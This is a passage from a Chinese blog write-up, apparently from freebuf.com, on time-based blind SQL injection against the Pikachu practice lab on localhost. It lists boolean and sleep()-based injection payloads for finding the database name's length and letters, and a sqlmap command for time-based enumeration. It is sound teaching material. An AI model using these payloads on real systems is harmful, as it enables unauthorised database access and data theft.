感觉这块,作者偷懒了,因为这个提示没啥用!!!
我们试一下,把上题中的PAYLOAD放在这里试试!!
PAYLOAD信息为:
kobe ‘ and ascii(substr(database(),1,1))=112#’
//数据库第一个字母的acsii码是112,即p
kobe’ and length(database())=7#’
//数据库的长度为7
这下好了,二选一的回显也没了!!!!
好吧,我们来构造PAYLOAD,基于等待时间执行!!!
kobe’ and if (length(database())>5,sleep(5),null)#’
可见耗时为7秒以上!!!
kobe’ and if (length(database())>10,sleep(5),null)#’
可见耗时只有2秒!!!
这个一对比,就可以判断出数据库名称的长度,更换方法进而可以判断出数据库的名称等进一步的信息!!!!
不过,还是这样,这个其实也是通过SQLMAP实现的,请看下方!!!
python sqlmap.py -u “http://localhost/pikachu/vul/sqli/sqli_blind_t.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2” –technique=T –current-db
等待回显!!!!
来源:freebuf.com 2021-07-26 08:16:40 by: 知非知非知非
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册